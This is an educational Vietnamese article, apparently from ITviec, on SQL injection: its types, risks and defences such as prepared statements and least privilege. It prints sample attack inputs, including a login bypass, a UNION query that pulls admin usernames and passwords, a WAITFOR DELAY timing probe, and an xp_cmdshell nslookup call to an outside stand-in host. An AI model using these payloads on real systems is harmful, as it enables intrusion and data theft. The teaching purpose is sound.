Nội dung chính
SQL Injection là một trong những lỗ hổng bảo mật nghiêm trọng nhất, gây thiệt hại lớn cho các hệ thống web trên toàn thế giới. Hacker có thể khai thác lỗ hổng này để truy cập trái phép vào dữ liệu hoặc thậm chí kiểm soát toàn bộ cơ sở dữ liệu.
Đọc bài viết này để hiểu rõ hơn về:
- SQL injection là gì?
- Phân loại SQL injection
- Cách thức hoạt động của SQL injection
- Nguy cơ, hậu quả và cách phòng chống
SQL Injection là gì?
SQL Injection (SQLi) là một dạng tấn công bảo mật xảy ra khi dữ liệu đầu vào của người dùng không được kiểm tra và xử lý trước khi đưa vào thực hiện câu lệnh SQL.
Khi đó kẻ tấn công có thể chèn các câu lệnh SQL độc hại thông qua dữ liệu đầu vào nhằm thao túng cơ sở dữ liệu phía sau. Những câu lệnh này có thể được sử dụng để kiểm soát hoàn toàn máy chủ cơ sở dữ liệu, vượt qua các cơ chế bảo mật như xác thực và phân quyền của ứng dụng. Giúp cho phép kẻ tấn công có thể truy xuất, sửa đổi hoặc xóa dữ liệu nhạy cảm, hay thậm chí thay đổi cấu trúc của cơ sở dữ liệu.
Lỗ hổng SQL Injection có thể tồn tại trong bất kỳ website hoặc ứng dụng web nào sử dụng cơ sở dữ liệu SQL như MySQL, Oracle, SQL Server hoặc các hệ quản trị khác. Hậu quả của các cuộc tấn công này có thể rất nghiêm trọng, bao gồm đánh cắp thông tin khách hàng, dữ liệu cá nhân, bí mật doanh nghiệp và tài sản trí tuệ.
SQL Injection là một trong những lỗ hổng bảo mật lâu đời, phổ biến và nguy hiểm nhất đối với ứng dụng web. Theo tổ chức OWASP (Open Web Application Security Project), các lỗ hổng liên quan đến injection, bao gồm SQL Injection, được xếp hạng là mối đe dọa hàng đầu trong tài liệu OWASP Top 10. Điều này nhấn mạnh tầm quan trọng của việc hiểu và phòng ngừa loại tấn công này để bảo vệ dữ liệu và hệ thống.
Cách thức hoạt động của SQL injection
SQL Injection hoạt động bằng cách lợi dụng những điểm yếu trong việc xử lý dữ liệu đầu vào của ứng dụng web. Khi người dùng nhập dữ liệu vào một trường nào đó trên trang web, dữ liệu này sẽ được chuyển vào một câu lệnh SQL để truy vấn cơ sở dữ liệu. Nếu ứng dụng không kiểm tra và làm sạch dữ liệu đầu vào đúng cách, kẻ tấn công có thể chèn các lệnh SQL độc hại để thực thi những hành động không mong muốn trên cơ sở dữ liệu.
Hãy tưởng tượng một tình huống tại tòa án, nơi một người tên là Bob đang chờ xét xử. Khi điền thông tin vào biểu mẫu trước phiên tòa, Bob ghi tên mình là “Bob được tự do rời đi”. Khi đến lượt xét xử, thẩm phán đọc lớn: “Mời Bob được tự do rời đi”. Nghe vậy, viên cảnh sát liền để Bob rời khỏi tòa, vì cho rằng đó là lệnh của thẩm phán.
SQL Injection cũng hoạt động theo cách tương tự như vậy.
Một trường dữ liệu trong câu truy vấn SQL, vốn được thiết kế để nhận một loại dữ liệu cụ thể như số, lại nhận vào những thông tin không mong đợi, chẳng hạn như một lệnh SQL. Khi lệnh này được thực thi, nó thoát ra khỏi phạm vi dự kiến và có thể thực hiện các hành vi nguy hiểm. Các trường truy vấn này thường được điền bằng dữ liệu từ biểu mẫu trên trang web.
Cơ chế tấn công SQL Injection
Chèn mã SQL độc hại từ đầu vào người dùng
Kẻ tấn công tận dụng các trường nhập liệu như ô đăng nhập hoặc tìm kiếm. Khi dữ liệu được gửi, mã SQL độc hại có thể thay đổi câu truy vấn SQL ban đầu, dẫn đến việc truy cập hoặc thao tác dữ liệu không mong muốn.
Thay đổi cấu trúc câu lệnh SQL
Kẻ tấn công sẽ sử dụng các ký tự đặc biệt như ‘, —, hoặc các điều kiện logic (OR 1=1) để kiểm tra xem ứng dụng có xử lý dữ liệu một cách an toàn hay không. Nếu phát hiện lỗ hổng, chúng sẽ khai thác để thực thi các lệnh SQL ngoài ý muốn của developer.
Hệ thống có câu lệnh SQL nhận thông tin đầu vào của người dùng để đăng nhập như sau:
SELECT * FROM users WHERE username = 'ten_nguoi_dung' AND password = 'mat_khau';
Trong đó, ten_nguoi_dung là dữ liệu đầu vào. Nếu kẻ tấn công lợi dụng điều này để nhập dữ liệu như sau: ‘ OR ‘1’=’1, thì lúc này câu SQL sẽ trở thành:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';
Như vậy kẻ tấn công có thể đăng nhập mà không cần tên đăng nhập hoặc mật khẩu.
SQL Injection có thể xuất hiện ở nhiều phần khác nhau trong câu truy vấn
Hầu hết các SQL Injection xảy ra trong phần WHERE của câu truy vấn SELECT, và những người kiểm thử có kinh nghiệm thường quen thuộc với loại SQL Injection này. Tuy nhiên, lỗ hổng SQL Injection có thể xảy ra ở bất kỳ vị trí nào trong câu truy vấn và trong các loại câu truy vấn khác nhau.
Một số vị trí phổ biến khác mà SQL Injection có thể xuất hiện là:
- Trong câu lệnh UPDATE, ngay tại các giá trị được cập nhật hoặc trong phần WHERE.
- Trong câu lệnh INSERT, tại các giá trị được chèn vào.
- Trong câu lệnh SELECT, tại tên bảng hoặc tên cột.
- Trong câu lệnh SELECT, tại phần ORDER BY.
Các loại SQL Injection phổ biến
SQL Injection (SQLi) thường được phân thành ba loại chính, dựa trên phương pháp khai thác dữ liệu và mức độ gây hại như sau:
SQL Injection loại 1: In-band SQLi (Cổ điển)
Đây là loại SQL Injection phổ biến và dễ thực hiện nhất. Kẻ tấn công sử dụng cùng một kênh giao tiếp để thực hiện tấn công và thu thập kết quả. In-band SQLi có hai biến thể chính:
Error-based SQLi
Kẻ tấn công cố tình thực hiện các hành động gây ra lỗi từ cơ sở dữ liệu. Thông tin từ các thông báo lỗi này có thể tiết lộ cấu trúc hoặc dữ liệu của cơ sở dữ liệu. Ví dụ: thông báo lỗi về cú pháp có thể tiết lộ tên bảng hoặc cột trong cơ sở dữ liệu.
Union-based SQLi
Kỹ thuật này lợi dụng câu lệnh UNION để kết hợp nhiều truy vấn SELECT, tạo ra một phản hồi HTTP duy nhất chứa dữ liệu từ cơ sở dữ liệu mà kẻ tấn công có thể sử dụng. Kỹ thuật này đòi hỏi tin tặc phải có hiểu biết nhất định về cấu trúc của bảng trong cơ sở dữ liệu định tấn công.
SQL Injection loại 2: Inferential SQLi (Blind SQL injection)
Loại tấn công này không trực tiếp trả về dữ liệu mà dựa vào việc quan sát phản hồi và hành vi của máy chủ để suy luận. Vì không nhận được dữ liệu trực tiếp, nên được gọi là “mù”. Inferential SQLi thường mất nhiều thời gian hơn nhưng vẫn có thể gây hại nghiêm trọng và được chia làm hai loại chính như sau:
Boolean-based SQLi
Kẻ tấn công gửi các truy vấn SQL với điều kiện đúng/sai và quan sát phản hồi từ ứng dụng để xác định trạng thái của câu truy vấn.
Time-based SQLi
Kẻ tấn công gửi truy vấn buộc cơ sở dữ liệu tạm dừng trong một khoảng thời gian. Dựa vào thời gian phản hồi, kẻ tấn công có thể xác định kết quả đúng/sai của truy vấn mà không cần truy xuất dữ liệu trực tiếp.
SQL Injection loại 3: Out-of-band SQLi
Loại tấn công này chỉ khả thi khi máy chủ cơ sở dữ liệu hỗ trợ các tính năng đặc biệt như DNS hoặc HTTP để gửi dữ liệu. Out-of-band SQLi thường được sử dụng khi kênh giao tiếp chính quá chậm hoặc không ổn định để thực hiện In-band hay Inferential SQLi.
Kỹ thuật này cho phép kẻ tấn công thu thập dữ liệu qua các kênh phụ, chẳng hạn thông qua yêu cầu DNS hoặc HTTP.
Ví dụ về từng loại SQL injection
Ví dụ sau đây thuộc xử lý của ngôn ngữ lập trình Java, trong đó một câu truy vấn SQL thông thường được sử dụng để lấy thông tin của một sinh viên dựa trên ID:
String studentId = request.getParameter("studentId"); String query = "SELECT * FROM students WHERE studentId = " + studentId;
Nếu người dùng nhập 117 vào form, truy vấn sẽ trở thành:
SELECT * FROM students WHERE studentId = 117;
Kết quả đúng: Trả về thông tin của sinh viên có studentId = 117.
Các ví dụ về từng loại SQL Injection sẽ được dựa trên ví dụ này.
In-band SQLi (Cổ điển)
Như đã trình bày ở trên, loại In-band SQLi có 2 biến thể là: Error-based SQLi và Union-based SQLi.
Ví dụ Truy vấn SQL bị tấn công (Error-based SQLi)
Kẻ tấn công nhập vào form:
117'
Truy vấn trên khi xử lý sẽ trở thành:
SELECT * FROM students WHERE studentId = 117';
Kết quả: Do dấu nháy ‘ không được đóng, cơ sở dữ liệu sẽ trả về lỗi. Kẻ tấn công có thể dựa vào những thông tin có trong thông báo lỗi để khai thác cơ sở dữ liệu.
Ví dụ Truy vấn SQL bị tấn công (Union-based SQLi)
Kẻ tấn công nhập:
117 UNION SELECT username, password FROM admin_users; --
Truy vấn trên khi xử lý sẽ trở thành:
SELECT * FROM students WHERE studentId = 117 UNION SELECT username, password FROM admin_users; --;
Trong đó:
- Phần UNION cho phép kết hợp kết quả từ bảng students và bảng admin_users.
- Phần — được thêm vào để bỏ qua các đoạn mã phía sau, tránh lỗi cú pháp hoặc logic không mong muốn.
Kết quả: Thông tin nhạy cảm từ bảng admin_users được trả về cùng dữ liệu sinh viên.
Inferential SQLi (Mù)
Inferential SQLi có hai biến thể là Boolean-based SQLi và Time-based SQLi.
Boolean-based SQLi
Kẻ tấn công có thể thay đổi câu truy vấn thành một điều kiện Boolean như sau:
SELECT * FROM students WHERE studentId = 117 OR 1=1;
Kết quả: Vì điều kiện 1=1 luôn đúng nên ứng dụng sẽ trả về thông tin sinh viên.
Time-based SQLi
Kẻ tấn công có thể thay đổi câu truy vấn thành một truy vấn yêu cầu hệ thống phải đợi một khoảng thời gian trước khi phản hồi, ví dụ đầu vào của kẻ tấn công như sau:
117'; IF (1=1) WAITFOR DELAY '00:00:10'; --
Truy vấn trên khi xử lý sẽ trở thành:
SELECT * FROM students WHERE studentId = 117; IF (1=1) WAITFOR DELAY '00:00:10'; --
Trong đó:
- Vì điều kiện 1=1 là đúng, hệ thống sẽ thực thi câu lệnh WAITFOR DELAY ’00:00:10′, làm ứng dụng phải chờ 10 giây trước khi phản hồi.
- Kẻ tấn công có thể thay đổi điều kiện thành 1=0 để xác minh sự khác biệt về thời gian phản hồi.
Kết quả: Dựa vào sự chậm trễ trong phản hồi, kẻ tấn công có thể suy luận rằng cấu trúc cơ sở dữ liệu đã bị thao tác hoặc điều kiện SQL đã thực thi thành công.
Out-of-band SQLi
Kẻ tấn công có thể chèn mã để gửi dữ liệu tới máy chủ của họ, thay vì nhận trực tiếp phản hồi từ cơ sở dữ liệu như sau:
SELECT * FROM students WHERE studentId = 117; EXEC xp_cmdshell('nslookup example.com'); --;
Kết quả: Câu truy vấn này sẽ kích hoạt lệnh nslookup trên máy chủ cơ sở dữ liệu, tìm kiếm thông tin DNS của example.com và gửi kết quả về máy chủ của kẻ tấn công. Kẻ tấn công sẽ nhận được kết quả mà không cần có sự phản hồi trực tiếp từ cơ sở dữ liệu.
Nguy cơ và hậu quả của SQL Injection
Các nguy cơ chính của SQL Injection
- Giả mạo danh tính: Kẻ tấn công có thể tạo ra truy vấn để truy cập hệ thống với quyền của người dùng khác hoặc thậm chí là quyền quản trị viên.
- Thao túng dữ liệu: SQL Injection cho phép kẻ tấn công thay đổi, xóa hoặc thêm mới các dữ liệu trong cơ sở dữ liệu, gây thiệt hại lớn cho hệ thống và người dùng.
- Làm sai lệch giao dịch: Các tấn công SQLi có thể khiến các giao dịch bị hủy bỏ hoặc thay đổi số dư tài khoản, dẫn đến các vấn đề nghiêm trọng về xác thực và sự tin cậy của hệ thống.
- Rò rỉ dữ liệu: SQLi có thể giúp kẻ tấn công lấy cắp toàn bộ dữ liệu từ cơ sở dữ liệu, từ thông tin người dùng đến thông tin nhạy cảm.
- Xóa hoặc làm gián đoạn dữ liệu: Kẻ tấn công có thể xóa hoặc thay đổi dữ liệu quan trọng, khiến hệ thống không thể hoạt động bình thường.
- Chiếm quyền quản trị cơ sở dữ liệu: Nếu thành công, kẻ tấn công có thể trở thành quản trị viên của cơ sở dữ liệu và toàn quyền điều khiển hệ thống.
Hậu quả của SQL Injection
- Thiệt hại về tài chính: Các tổn thất do SQL Injection có thể rất lớn, bao gồm chi phí sửa chữa, khôi phục dữ liệu, và mất uy tín.
- Mất lòng tin từ người dùng: Khi thông tin cá nhân hoặc dữ liệu nhạy cảm bị rò rỉ, khách hàng và người dùng sẽ mất niềm tin vào hệ thống.
- Hư hại hệ thống: Việc hệ thống bị xâm nhập và thay đổi dữ liệu có thể làm gián đoạn hoạt động của ứng dụng hoặc làm mất hoàn toàn dữ liệu quan trọng.
- Mất lợi thế cạnh tranh: Kẻ tấn công có thể lấy cắp dữ liệu kinh doanh, làm rò rỉ thông tin nội bộ, ảnh hưởng đến chiến lược và hoạt động của doanh nghiệp.
Cách phòng chống SQL Injection
SQL Injection là một lỗ hổng bảo mật nghiêm trọng, có thể gây rủi ro lớn cho cơ sở dữ liệu của ứng dụng web. Để bảo vệ hệ thống khỏi các cuộc tấn công này, dưới đây là một số phương pháp phổ biến như sau:
- Sử dụng Prepared Statements (Parameterized Queries): Đây là cách phổ biến nhất để ngăn ngừa SQL Injection, bằng cách phân tách rõ ràng giữa dữ liệu đầu vào và câu lệnh SQL. Các câu lệnh SQL được định nghĩa trước, sau đó chỉ nhận các tham số cụ thể. Cách này đảm bảo rằng dữ liệu người dùng không bao giờ bị hiểu là mã lệnh SQL. Các thư viện ORM (Object-Relational Mapping) hiện đại thường tự động thực hiện điều này, giúp đơn giản hóa quy trình.
- Không tin tưởng vào bất kỳ dữ liệu đầu vào nào: Mọi dữ liệu đầu vào từ người dùng cần được xem là không tin cậy. Dù là người dùng nội bộ hay người dùng công khai, bất kỳ đầu vào nào được sử dụng trong câu truy vấn SQL đều có nguy cơ tiềm ẩn SQL Injection. Do đó, tất cả dữ liệu đầu vào cần được kiểm tra và xử lý cẩn thận.
- Escaping dữ liệu đầu vào: Khi nhận dữ liệu từ người dùng, cần thoát (escape) các ký tự đặc biệt như ‘, “, ;, hoặc — để ngăn chặn chúng được xử lý như mã lệnh. Giúp đảm bảo rằng cơ sở dữ liệu sẽ xem các ký tự này là dữ liệu thông thường, không phải là các điều kiện hoặc lệnh SQL.
- Sử dụng Stored Procedures: Dù không phải là một chiến lược bảo mật mạnh mẽ duy nhất, nhưng áp dụng thủ tục lưu trữ trong SQL có thể giúp giảm thiểu rủi ro SQLi. Stored Procedures cho phép thực thi các truy vấn SQL được định nghĩa trước trong cơ sở dữ liệu. Khi kết hợp với việc giới hạn quyền hạn các tài khoản cơ sở dữ liệu và có thể kiểm tra kiểu dữ liệu đầu vào, từ đó ngăn ngừa việc nhập dữ liệu sai kiểu, thiểu rủi ro do SQL Injection.
- Sử dụng Web Application Firewall (WAF): WAF là một phần quan trọng trong giải pháp bảo mật toàn diện, giúp phát hiện SQL Injection cùng các mối đe dọa khác. WAF hoạt động dựa trên danh sách chữ ký (signatures) được cập nhật liên tục, giúp xác định và loại bỏ chính xác các truy vấn SQL độc hại.
- Tuân thủ nguyên tắc “Ít quyền nhất” (Least Privilege): Cần hạn chế quyền truy cập cơ sở dữ liệu cho các tài khoản chỉ có quyền cần thiết để thực hiện truy vấn SQL. Điều này giúp giảm thiểu rủi ro nếu kẻ tấn công chiếm quyền truy cập vào hệ thống.
- Đào tạo và nâng cao nhận thức: Tất cả những người tham gia xây dựng ứng dụng (như lập trình viên, nhân viên kiểm thử, DevOps, SysAdmin) cần được đào tạo về các rủi ro bảo mật, bao gồm SQL Injection. Nhận thức đúng về vấn đề sẽ giúp giảm thiểu nguy cơ lỗ hổng bảo mật xuất hiện trong sản phẩm.
- Sử dụng các công cụ phát hiện lỗ hổng: SQLi có thể xuất hiện do lỗi của lập trình viên hoặc qua các thư viện/ mô-đun bên ngoài. Vì vậy, việc quét ứng dụng web định kỳ với công cụ như Acunetix là rất cần thiết. Kết hợp quét tự động trong các quy trình CI/CD (Continuous Integration/Continuous Deployment) cũng là một phương pháp giúp duy trì bảo mật liên tục.
Lưu ý rằng việc kết hợp nhiều biện pháp bảo mật cùng lúc sẽ giúp tăng cường an toàn và bảo vệ hệ thống hiệu quả hơn.
Câu hỏi thường gặp về SQL Injection
Làm thế nào để phát hiện một ứng dụng có dễ bị tấn công SQL Injection?
Để phát hiện lỗ hổng SQL Injection trong ứng dụng, bạn có thể:
Kiểm tra thủ công từ giao diện người dùng:
- Nhập các ký tự đặc biệt như dấu nháy đơn (‘) hoặc từ khóa SQL như OR 1=1 vào các ô nhập liệu để kiểm tra xem có xuất hiện lỗi bất thường không.
- Sử dụng các điều kiện Boolean như OR 1=1 và OR 1=2 để quan sát sự thay đổi trong phản hồi của ứng dụng.
- Thực hiện các tấn công dựa trên thời gian, chẳng hạn sử dụng payload như WAITFOR DELAY ’00:00:05′ để kiểm tra xem ứng dụng có phản hồi chậm hơn không.
Kiểm tra nội dung logs của máy chủ:
- Xem xét các bản ghi nhật ký (logs) trên máy chủ để phát hiện các truy vấn SQL bất thường hoặc có dấu hiệu bị chỉnh sửa bởi đầu vào không an toàn.
- Tìm kiếm các thông báo lỗi hoặc truy vấn chứa các từ khóa đặc trưng của SQL Injection.
Sử dụng công cụ kiểm tra tự động:
- Sử dụng các công cụ chuyên dụng như SQLMap, Burp Suite hoặc OWASP ZAP để tự động phát hiện và kiểm tra lỗ hổng SQL Injection.
- Các công cụ này có thể gửi hàng loạt payload thử nghiệm và phân tích phản hồi từ ứng dụng để xác định các lỗ hổng tiềm tàng.
Câu lệnh đã chuẩn bị (Prepared Statements) có an toàn khỏi SQL injection không?
Có, câu lệnh đã chuẩn bị (prepared statements) an toàn khỏi SQL injection vì chúng tách biệt mã SQL và dữ liệu đầu vào của người dùng, đảm bảo dữ liệu người dùng chỉ được xử lý như một giá trị, không phải mã thực thi, giúp ngăn chặn các cuộc tấn công SQL injection.
Tương tự, các thủ tục lưu trữ an toàn (safe stored procedures) cũng cung cấp sự bảo vệ bằng cách sử dụng đầu vào tham số hóa. Cả hai phương pháp đều hiệu quả và việc chọn phương pháp nào phụ thuộc vào nhu cầu và ứng dụng của tổ chức bạn.
Blind SQL Injection khác gì so với Classic SQL Injection?
Tiêu chí | Blind SQL Injection | Classic SQL Injection |
Khả năng xem kết quả truy vấn | Không thể xem trực tiếp kết quả; chỉ dựa vào phản hồi gián tiếp từ ứng dụng để xác định thông tin. | Có thể trực tiếp xem dữ liệu trả về từ cơ sở dữ liệu. |
Phương pháp tấn công chính |
– Kiểm tra điều kiện Boolean (True/False). – Tấn công dựa trên độ trễ thời gian (Time-based SQLi). |
Thực hiện truy vấn trực tiếp và ngay lập tức nhận được dữ liệu. |
Độ phức tạp | Phức tạp hơn, yêu cầu nhiều thử nghiệm và phân tích phản hồi từ ứng dụng. | Đơn giản hơn do truy vấn trực tiếp trả về kết quả rõ ràng. |
Mục tiêu tấn công | Thu thập thông tin từ cơ sở dữ liệu mà không để lộ kết quả rõ ràng ra bên ngoài. | Chiếm quyền truy cập dữ liệu hoặc kiểm soát trực tiếp cơ sở dữ liệu. |
Tổng kết
Bảo mật không phải là một điểm đến, mà là một hành trình. SQL Injection là một mối đe dọa nghiêm trọng đối với tất cả các ứng dụng web có sử dụng cơ sở dữ liệu và là lời nhắc nhở rằng bất kỳ hệ thống nào cũng cần được bảo vệ liên tục. Tuy nhiên với các công cụ và kỹ thuật phòng ngừa đúng đắn, bạn hoàn toàn có thể yên tâm vận hành hệ thống mà không lo ngại về rủi ro này.
ITviec hy vọng bài viết trên đã cung cấp cho bạn cái nhìn tổng quan hơn về SQL injection và một số phương pháp phòng ngừa hữu ích.